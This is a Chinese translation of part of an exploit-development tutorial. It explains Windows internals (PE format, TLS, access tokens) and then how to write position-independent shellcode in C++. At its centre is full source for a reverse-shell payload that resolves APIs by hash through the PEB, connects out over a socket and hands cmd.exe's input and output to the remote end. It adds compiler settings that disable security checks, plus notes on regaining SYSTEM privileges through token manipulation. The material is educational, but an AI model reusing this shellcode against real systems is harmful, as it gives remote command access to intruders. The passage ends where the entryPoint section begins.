# Exploit开发系列教程-Windows基础&shellcode
from:http://expdev-kiuhnm.rhcloud.com/2015/05/11/contents/
Windows基础
=========
* * *
### 0x00 Windows Basics
这篇文章简要讲述Windows开发者应该了解的一些常识。
### 0x01 Win32 API
Windows的主要API由多个DLLs(`Dynamic Link Libraries`)提供。某个应用可以从那些`DLL`中导入函数并且对它们进行调用。这样就保证了普通用户态应用程序的可移植性。
### 0x02 PE文件格式
执行体和`DLL`都是PE(`Portable Executable`)文件。每个PE含有一个导入和导出表。导入表指定导入函数以及这些函数所在的文件(模块)。导出表指定导出函数,等等。函数可以被导入到其它的PE文件。
`PE`文件由多个节(`section`)组成(代码节,数据节,等等…)。在内存中, `.reloc`节中具有重定位可执行体或`DLL`的信息。在内存中,虽然有些代码(例如相对的`jmp`指令)的地址是相对的,但是多数代码所在的地址是绝对的,这取决于被加载的模块。
`Windows loader`从当前工作目录开始搜索`DLLs`,发布的某个应用可能具有一个不同于系统根(`\windows\system32`)目录中的`DLL`。该版本方面的问题(不兼容)被一些人称作`DLL-hell`。
重要的是理解相对虚拟内存地址 (`Relative Virtual Address`,RVA)的概念。`PE`文件提供`RVAs`来指定模块的相对基地址。换句话说,在内存中,如果某个模块在地址B(基地址)上被加载并且某个元素在该模块中具有`RVA`为X这一偏移量,那么该元素的虚拟内存地址(`Virtual Address`,VA)偏移量为`B+X`。
### 0x03 线程
如果你过去经常使用Windows平台,那么应该非常了解线程的概念。但是,如果你经常使用的是Linux,那么请记住,Windows平台将会为线程提供`CPU`时间片。你可以用`CreateProcess()`创建新进程并且用`CreateThreads()`创建新线程。线程会在它们所在进程的地址空间内执行,因此它们所在的内存是共享的。
线程也会被一种称作TLS(`Thread Local Storage`)的机制限制,该机制为线程提供了非共享内存。
基本上,每个线程的`TEB`都含有一个`TLS`数组,它具有64个`DWORD`值,并且在运行过程中超出`TLS`数组的有效元素个数时,会为额外的`TLS`数组分配1024个`DWORD`值。首先,两个数组中的一个数组的每个元素会对应一个索引值,该索引值必须被分配或使用`TlsAlloc()`来得到,可以用`TlsGetValue`(index) 来读取`DWORD`值并用`TlsSetValue`(index, newValue)将其写入。如,在当前线程的`TEB`中,`TlsGetValue`(7)表示从`TLS`数组中索引值为7的地址上读取`DWORD`值。
笔记:我们可以通过使用`GetCurrentThreadId()`来模拟该机制,但是不会有一样的效果。
### 0x04 令牌
令牌通常用于描述访问权限。就像文件句柄那样,令牌仅仅是一个32位整数。每个进程具有一个内部结构,该结构含有关于访问权限的信息,它与令牌相关联。
令牌分为两种类型:主令牌和模仿令牌。无论何时,某个进程被创建后都会被分配一个主令牌。进程的每个线程都可以拥有进程的令牌,或从另一进程中获取模仿令牌。如果`LogonUser()`函数被调用,则会返回一个不能被使用于`CreateProcessAsUser()`的模仿令牌(提供凭据),除非你调用了`DupcateTokenEx`来将其转换为主令牌。
可以使用`SetThreadToken`(newToken) 将某个令牌附加到当前线程并且可以使用`RevertToSelf()`来将该令牌删除,从而让线程的令牌还原为主令牌。
我们来了解下在Windows平台上,将某个用户连接到服务器并发送用户名和密码的情况。首先以`SYSTEM`身份运行服务器,将会调用具有凭据的`LogonUser()`,如果成功则返回新令牌。接着会在服务器创建新线程的同时调用`SetThreadToken`(new_token),`new_token`参数是一个由 `LogonUser()`返回的令牌值。这样,线程被执行时就具有与用户一样的权限。当线程完成了对客户端的服务时,或者会被销毁,或者将调用`revertToSelf()` 而被添加到线程池的空闲线程队列中。
如果可以控制服务器,那么可通过调用`RevertToSelf()`,或在内存中查找其它的令牌并使用`SetThreadToken()`函数将它们附加到当前线程,从而恢复当前线程的权限,即`SYSTEM`权限。
值得注意的是,`CreateProcess()`使用主令牌作为新进程的令牌。当具有比主令牌更高权限的模仿令牌的线程调用`CreateProcess()`时存在一个问题,那就是新进程的权限会低于创建该进程的线程。
解决方案是使用`DuplicateTokenEx()`从当前线程的模拟令牌中创建一个新的主令牌,接着通过调用具有新的主令牌的`CreateProcessAsUser()` 创建新进程。
shellcode
=========
* * *
### 0x00 介绍
`Shellcode`是一段被`exploit`作为`payload`发送的代码,它被注入到存在漏洞的应用,并且会被执行。`Shellcode`是自包含的,并且应该不含有`null`字节。通常使用函数如`strcpy()`来复制`shellcode`,在进行该复制过程中遇到`null`字节时,将停止复制。这样做会导致`shellcode`不能被完全复制。`Shellcode`一般直接由汇编语言编写,但是,在这篇文章中,我们将通过`Visual Studio 2013`使用`c/c++`来开发`shellcode`。在该开发环境下进行开发的好处如下:
1.花费更短的开发时间。
2.智能提示(`intellisense`)。
3.易于调试。
我们将使用`VS2013`来生成一个具有`shellcode`的执行体,也将使用`python`脚本来提取并修复(移除`null`字节)`shellcode`。
### 0x01 C/C++ 代码
#### 仅仅使用栈变量
为了编写浮动地址代码(`position independent code`),我们必须使用栈变量。这意味着我们不能这么写。
“`
char *v = new char[100];
“`
因为那数组将被分配到栈。根据绝对地址,试着从`msvcr120.dll` 中调用`new`函数:
“`
00191000 6A 64 push 64h
00191002 FF 15 90 20 19 00 call dword ptr ds:[192090h]
“`
地址`192090h`上包含函数的地址。在没有依赖导入表以及`Windows loader`的情况下,要调用某库中已导入的函数,我们必须直接这么做。 另一个存在的问题是,新操作符可能需要某种通过`c/c+`+语言编写的运行时组件来完成的初始化操作。
不能使用全局变量:
“`
int x;
int main() {
x = 12;
}
“`
上面的代码 (如果没有被优化)生成如下:
“`
008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov dword ptr ds:[8E9130h],0Ch
“`
地址`8E9130h`为变量x的绝对地址。
如果我们编写如下,会导致字符串存在问题
“`
char str[] = “I’m a string”;
printf(str);
“`
字符串将被放入执行体的`.rdata`节中,并且会对其进行绝对地址引用。
在`shellcode`中不得使用`printf`:这只是一个了解`str`如何被引用的范例。
这是`asm`代码:
“`
00A71006 8D 45 F0 lea eax,[str]
00A71009 56 push esi
00A7100A 57 push edi
00A7100B BE 00 21 A7 00 mov esi,0A72100h
00A71010 8D 7D F0 lea edi,[str]
00A71013 50 push eax
00A71014 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71015 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71016 A5 movs dword ptr es:[edi],dword ptr [esi]
00A71017 A4 movs byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00 call dword ptr ds:[0A72090h]
“`
正如你所看到的,字符串位于`.rdata`节中,地址为`A72100h`,通过`movsd`和`movsb`指令的执行,它会被复制进栈(`str`指向栈)。注意:`A72100h`为绝对地址。显然该代码不是地址无关的。
如果我们这样写:
“`
char *str = “I’m a string”;
printf(str);
“`
那么字符串仍然会被放入.data节,但不会被复制进栈:
“`
00A31000 68 00 21 A3 00 push 0A32100h
00A31005 FF 15 90 20 A3 00 call dword ptr ds:[0A32090h]
“`
字符串在`.rdata`节中,绝对地址为`A32100h`。
如何让该代码地址无关?
更简单的(部分)解决方案:
“`
char str[] = { ‘I’, ‘\”, ‘m’, ‘ ‘, ‘a’, ‘ ‘, ‘s’, ‘t’, ‘r’, ‘i’, ‘n’, ‘g’, ‘\0’ };
printf(str);
“`
对应的汇编代码如下:
“`
012E1006 8D 45 F0 lea eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov dword ptr [str],206D2749h
012E1010 50 push eax
012E1011 C7 45 F4 61 20 73 74 mov dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00 mov byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01 call dword ptr ds:[12E2090h]
“`
除了对`printf`的调用外,该段代码是地址无关的,因为字符串部分被直接编码进了`mov`指令的源操作数中。一旦该字符串在栈上,则可以被使用。
不幸的是,当字符串达到一定长度时,该方法就失效了。代码为:
“`
char str[] = { ‘I’, ‘\”, ‘m’, ‘ ‘, ‘a’, ‘ ‘, ‘v’, ‘e’, ‘r’, ‘y’, ‘ ‘, ‘l’, ‘o’, ‘n’, ‘g’, ‘ ‘, ‘s’, ‘t’, ‘r’, ‘i’, ‘n’, ‘g’, ‘\0’ };
printf(str);
“`
生成
“`
013E1006 66 0F 6F 05 00 21 3E 01 movdqa xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8 lea eax,[str]
013E1011 50 push eax
013E1012 F3 0F 7F 45 E8 movdqu xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67 mov word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00 mov byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01 call dword ptr ds:[13E2090h]
“`
正如你所看到的,当字符串的其它部分像之前那样被编码进mov指令的源操作数中时,字符串部分将被定位在.rdata节中,地址为13E2100h。
我已提出的解决方案如下:
“`
char *str = “I’m a very long string”;
“`
同时使用`Python`脚本修复`shellcode`。该脚本需要从`.rdata`节中提取被引用的字符串,并将它们放入到`shellcode`中,然后修复重定位信息。我们马上会了解到该实现方法。
#### 不直接调用Windows API
在`C/C++`代码中,我们不能编写
“`
WaitForSingleObject(procInfo.hProcess, INFINITE);
“`
因为`kernel32.dll`中已导入了“`WaitForSingleObject`”函数。
在`nutshell`中,`PE`文件含有导入表和导入地址表(`IAT`)。导入表含有被导入到库中的函数的信息。当执行体被加载时,通过`Windows loader`编译`IAT`,并且其含有已导入的函数地址。该执行体的代码用间接寻址调用已导入到库中的函数。例如:
“`
001D100B FF 15 94 20 1D 00 call dword ptr ds:[1D2094h]
“`
地址`1D2094h`为入口地址(在`IAT`中),该地址含有函数 `MessageBoxA`的地址。因为如上调用函数的地址无需被修复(除非执行体被重定位),所以可以直接使用该地址。`Windows loader`只需要修复的是在`1D2094h`地址,该`dword`值是`MessageBoxA`函数的地址。
解决方案是直接从`Windows`的数据结构中得到`Windows`的函数地址。之后我们将会了解到。
#### 创建新项目
通过 `File→New→Project…`, 选择 `Installed→Templates→Visual C++→Win32→Win32 Console Application`, 为项目命名 (我将其命名为 `shellcode`) 接着点击OK。
通过 `Project→
这样你将可以使用`C++11`和`C++14`的一些特性,如`static_assert`。
#### Shellcode范例
这是一段简单的反向`shell`代码(定义)。将命名为`shellcode.cpp`的文件添加到项目中并将该代码复制到`shellcode.cpp`。不要试图理解所有的代码。后面我们还会对其进行进一步的讨论。
“`
// Simple reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + “Visual C++ Compiler November 2013 CTP”.
#include
#include
#include
#include
#include
#include
#include
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= ‘a’ ? *str – 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
return getHash(moduleName) + getHash(functionName);
}
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr – list_entry_offset);
}
// NOTE: This function doesn’t work with forwarders. For instance, kernel32.ExitThread forwards to
// ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
} while (ptr != first);
return NULL; // address not found
}
#define HASH_LoadLibraryA 0xf8b7108d
#define HASH_WSAStartup 0x2ddcd540
#define HASH_WSACleanup 0x0b9d13bc
#define HASH_WSASocketA 0x9fd4f16f
#define HASH_WSAConnect 0xa50da182
#define HASH_CreateProcessA 0x231cbe70
#define HASH_inet_ntoa 0x1b73fed1
#define HASH_inet_addr 0x011bfae2
#define HASH_getaddrinfo 0xdc2953c9
#define HASH_getnameinfo 0x5c1c856e
#define HASH_ExitThread 0x4b3153e0
#define HASH_WaitForSingleObject 0xca8e9498
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
int entryPoint() {
// printf(“0x%08x\n”, getFunctionHash(“kernel32.dll”, “WaitForSingleObject”));
// return 0;
// NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
// they’re not strictly needed.
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA(“ws2_32.dll”);
DefineFuncPtr(WSAStartup);
DefineFuncPtr(WSASocketA);
DefineFuncPtr(WSAConnect);
DefineFuncPtr(CreateProcessA);
DefineFuncPtr(inet_ntoa);
DefineFuncPtr(inet_addr);
DefineFuncPtr(getaddrinfo);
DefineFuncPtr(getnameinfo);
DefineFuncPtr(ExitThread);
DefineFuncPtr(WaitForSingleObject);
const char *hostName = “127.0.0.1”;
const int hostPort = 123;
WSADATA wsaData;
if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
goto __end; // error
SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
goto __end;
addrinfo *result;
if (My_getaddrinfo(hostName, NULL, NULL, &result))
goto __end;
char ip_addr[16];
My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
SOCKADDR_IN remoteAddr;
remoteAddr.sin_family = AF_INET;
remoteAddr.sin_port = htons(hostPort);
remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
goto __end;
STARTUPINFOA sInfo;
PROCESS_INFORMATION procInfo;
SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES;
sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
My_CreateProcessA(NULL, “cmd.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
// Waits for the process to finish.
My_WaitForSingleObject(procInfo.hProcess, INFINITE);
__end:
My_ExitThread(0);
return 0;
}
int main() {
return entryPoint();
}
“`
#### 编译器配置
通过`Project→
这里是需要修改的设置:
* General:
* oSDL Checks: No (/sdl-)
这可能并不需要,但是我已将它们关闭了。
* Optimization:
* Optimization: Minimize Size (/O1)
这很重要!我们得尽可能将`shellcode`简短。
“`
* Inline Function Expansion: Only __inline (/Ob1)
“`
使用这个设置告诉`VS 2013`只用`_inline`来定义内联函数。`main()` 仅调用`shellcode`的函数`entryPoint`。如果函数 `entryPoint`是简短的,那么它可能会被内联进`main()`。这将是极糟的,因为`main()`将不再透露`shellcode`的后一部分(事实上它包含了该部分)。后面会了解到原因。
“`
* Enable Intrinsic Functions: Yes (/Oi)
“`
我不知道该设置是否应该关闭。
“`
* Favor Size Or Speed: Favor small code (/Os)
* Whole Program Optimization: Yes (/GL)
“`
* Code Generation:
* Security Check: Disable Security Check (/GS-)
不需要安全检查!
“`
* Enable Function-Level linking: Yes (/Gy)
“`
#### linker配置
通过`Project→
* General:
* Enable Incremental Linking: No (/INCREMENTAL:NO)
* Debugging:
* Generate Map File: Yes (/MAP)
告诉`linker`生成含有`EXE`结构的映射文件。
“`
* Map File Name: mapfile
“`
这是映射文件名。可自定义文件名。
* Optimization:
* References: Yes (/OPT:REF)
该选项对于生成简短的`shellcode`来说非常重要,因为可以除去函数以及不被代码引用的数据。
“`
* Enable COMDAT Folding: Yes (/OPT:ICF)
* Function Order: function_order.txt
“`
应用该设置读取命名为`function_order.txt` 的文件,该文件指定必须出现在代码节中函数的顺序。我们要将函数 `entryPoint`变为代码节中的第一个函数,可想而知,`function_order.txt`中必存在一行代码含有字符串`?entryPoint@@YAHXZ`。可以在映射文件中找到该函数名。
#### getProcAddrByHash
该函数返回由某个出现在内存中的模块(`.exe`或`.dll`)导出的某个函hash数的地址,已给出的“值与模块和函数相关联。当然,通过名字查找函数具有一定的可能性,但是这样做需要考虑空间方面的问题,因为那些名字应该被包含在`shellcode`中。在另一方面,一个`hash`仅有4个字节。因为我们不使用两个`hash`(一个用于模块,一个用于函数),`getProcAddrByHash`需要考虑所有被加载进内存中的模块。
通过`user32.dll`导出函数`MessageBoxA`,该函数的`hash`值可通过如下方法计算:
“`
DWORD hash = getFunctionHash(“user32.dll”, “MessageBoxA”);
“`
计算出的`hash`值为`getHash`(“user32.dll”) 与`getHash`(“MessageBoxA”)的`hash`值的总和。函数`getHash`的实现简明易懂:
“`
DWORD getHash(const char *str) {
DWORD h = 0;
while (*str) {
h = (h >> 13) | (h << (32 - 13)); // ROR h, 13
h += *str >= ‘a’ ? *str – 32 : *str; // convert the character to uppercase
str++;
}
return h;
}
“`
正如你可以了解到的,`hash`值是大小写不敏感的(不区分大小写),重要的是,因为在内存中,某种Windows的版本所使用的字符串都为大写。 首先,`getProcAddrByHash`获取TEB(`Thread Environment Block`)的地址:
“`
PEB *peb = getPEB();
where
_inline PEB *getPEB() {
PEB *p;
__asm {
mov eax, fs:[30h]
mov p, eax
}
return p;
}
“`
选择子`fs`与某个始于`TEB`地址的段相关联。在偏移`30h`上,`TEB`含有一个PEB(`Process Environment Block`)指针。用WinDbg可以观察到:
“`
0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
“`
`PEB`与当前的进程相关联,除了别的以外,含有关于某些模块的信息,这些模块都被加载到进程地址空间中。 此处又是`getProcAddrByHash`:
“`
PVOID getProcAddrByHash(DWORD hash) {
PEB *peb = getPEB();
LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
LIST_ENTRY *ptr = first;
do { // for each module
LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
ptr = ptr->Flink;
.
.
.
} while (ptr != first);
return NULL; // address not found
}
“`
此处为`PEB`部分:
“`
0:000> dt _PEB @$peb
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ”
+0x001 ReadImageFileExecOptions : 0 ”
+0x002 BeingDebugged : 0x1 ”
+0x003 BitField : 0x8 ”
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00060000 Void
+0x00c Ldr : 0x76fd0200 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x00680000 Void
“`
在偏移`0Ch`上,是一个被称作`Ldr`的字段,它是个`PEB_LDR_DATA` 结构指针。使用`WinDbg`进行观察:
“`
0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ”
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 – 0x6862c0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 – 0x6862c8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 – 0x6862d0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ”
+0x02c ShutdownThreadId : (null)
“`
`InMemoryOrderModuleList`是一个`LDR_DATA_TABLE_ENTRY`结构的双链表,它与当前进程的地址空间中所加载的模块相关联。更确切地说,`InMemoryOrderModuleList` 是一个`LIST_ENTRY`,它含有两个部分:
“`
0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
“`
`Flink`为前向链表,`Blink`为后向链表。`Flink`指向第一个模块的`LDR_DATA_TABLE_ENTRY` 。当然,未必就是如此:
`Flink`指向一个被包含在结构`LDR_DATA_TABLE_ENTRY`中的`LIST_ENTRY`结构。
我们来观察`LDR_DATA_TABLE_ENTRY` 是如何被定义的:
“`
0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY
+0x008 InMemoryOrderLinks : _LIST_ENTRY
+0x010 InInitializationOrderLinks : _LIST_ENTRY
+0x018 DllBase : Ptr32 Void
+0x01c EntryPoint : Ptr32 Void
+0x020 SizeOfImage : Uint4B
+0x024 FullDllName : _UNICODE_STRING
+0x02c BaseDllName : _UNICODE_STRING
+0x034 Flags : Uint4B
+0x038 LoadCount : Uint2B
+0x03a TlsIndex : Uint2B
+0x03c HashLinks : _LIST_ENTRY
+0x03c SectionPointer : Ptr32 Void
+0x040 CheckSum : Uint4B
+0x044 TimeDateStamp : Uint4B
+0x044 LoadedImports : Ptr32 Void
+0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
+0x04c PatchInformation : Ptr32 Void
+0x050 ForwarderLinks : _LIST_ENTRY
+0x058 ServiceTagLinks : _LIST_ENTRY
+0x060 StaticLinks : _LIST_ENTRY
+0x068 ContextInformation : Ptr32 Void
+0x06c OriginalBase : Uint4B
+0x070 LoadTime : _LARGE_INTEGER
“`
`InMemoryOrderModuleList.Flink`指向位于偏移为8的`_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks`,因此,我们必须减去8来获取 `_LDR_DATA_TABLE_ENTRY`的地址。
首先,获取Flink指针:
“`
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 – 0x6862c0 ]
“`
它的值是`0x683080`,因此`_LDR_DATA_TABLE_ENTRY` 结构的地址为`0x683080 – 8 = 0x683078`:
“`
0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 – 0x1800eeb1 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 – 0x76fd020c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 – 0x76fd0214 ]
+0x018 DllBase : (null)
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x60000
+0x024 FullDllName : _UNICODE_STRING “蒮m쿟ᄍ엘ᆲ膪n???”
+0x02c BaseDllName : _UNICODE_STRING “C:\Windows\SysWOW64\calc.exe”
+0x034 Flags : 0x120010
+0x038 LoadCount : 0x2034
+0x03a TlsIndex : 0x68
+0x03c HashLinks : _LIST_ENTRY [ 0x4000 – 0xffff ]
+0x03c SectionPointer : 0x00004000 Void
+0x040 CheckSum : 0xffff
+0x044 TimeDateStamp : 0x6841b4
+0x044 LoadedImports : 0x006841b4 Void
+0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
+0x04c PatchInformation : 0x4ce7979d Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 – 0x0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x6830d0 – 0x6830d0 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x6830d8 – 0x6830d8 ]
+0x068 ContextInformation : 0x00686418 Void
+0x06c OriginalBase : 0x6851a8
+0x070 LoadTime : _LARGE_INTEGER 0x76f0c9d0
“`
正如你可以看到的,我正在用`WinDbg`调试`calc.exe`!不错:第一个模块是执行体本身。重要的是`DLLBase` (c)字段。根据给出的模块的基地址,我们可以分析被加载到内存中的`PE`文件并获取所有信息,如已导出的函数地址。 在`getProcAddrByHash`中我们所做的:
“`
BYTE *baseAddress = (BYTE *)dte->DllBase;
if (!baseAddress) // invalid module(???)
continue;
IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!iedRVA) // Export Directory not present
continue;
IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
char *moduleName = (char *)(baseAddress + ied->Name);
DWORD moduleHash = getHash(moduleName);
// The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
// element of both arrays refer to the same function. The first array specifies the name whereas
// the second the ordinal. This ordinal can then be used as an index in the array pointed to by
// AddressOfFunctions to find the entry point of the function.
DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
char *functionName = (char *)(baseAddress + nameRVAs[i]);
if (hash == moduleHash + getHash(functionName)) {
WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
return baseAddress + functionRVA;
}
}
.
.
.
“`
了解PE文件格式的规范可以更好地理解该段代码,这里不详细讲解。在PE文件结构中需要注意的是RVA(`Relative Virtual Addresses`)。即相对于PE模块(`Dllbase`)中基地址的地址。例如,如果`RVA`是`100h`并且`DllBase`是`400000h`,那么指向数据的`RVA`为`400000h + 100h = 400100h`。 该模块始于`DOS_HEADER` 。它包含一个`NT_HEADERS`的`RVA`(e_lfanew)。`FILE_HEADER`和`OPTIONAL_HEADERNT_HEADERS`存在于`NT_HEADERS`。`OPTIONAL_HEADER`含有一个被称作`DataDirectory`的数组,该数组指向`PE`模块的多个目录。了解`Export Directory`可参考链接[https://msdn.microsoft.com/en-us/library/ms809762.aspx](https://msdn.microsoft.com/en-us/library/ms809762.aspx)中提到的相关细节。
如下C结构体与`Export Directory`相关联,其定义如下:
“`
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
“`
#### DefineFuncPtr
`DefineFuncPtr` 是一个宏,它有助于定义一个已导入的函数指针. 这是范例:
“`
#define HASH_WSAStartup 0x2ddcd540
#define DefineFuncPtr(name) decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
DefineFuncPtr(WSAStartup);
“`
`WSAStartup`函数是`ws2_32.dll`中已导入的函数,因此通过该方法计算`HASH_WSAStartup`
“`
DWORD hash = getFunctionHash(“ws2_32.dll”, “WSAStartup”);
“`
当宏被展开时,
“`
DefineFuncPtr(WSAStartup);
“`
变为
“`
decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
“`
`decltype(WSAStartup)`为 `WSAStartup`函数的类型。这样,我们无需重定义函数原型。注意:在`C++11`中有关于 `decltype`的描述。
现在我们可通过`My_WSAStartup`调用 `WSAStartup`
注意:从模块中导入函数之前,我们需要确保已经在内存中加载了这个模块。
最简单的方法是使用`LoadLibrary`加载模块。
“`
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA(“ws2_32.dll”);
“`
该操作有效,因为`kernel32.dll`中已导入了`LoadLibrary`,正如我们说过的,它总会出现在内存中。
我们也可以导入`GetProcAddress`并使用它来获取所有其它我们需要的函数地址,但是没必要这么做,因为我们需要将所有的函数名包含在`shellcode`中。
#### entryPoint
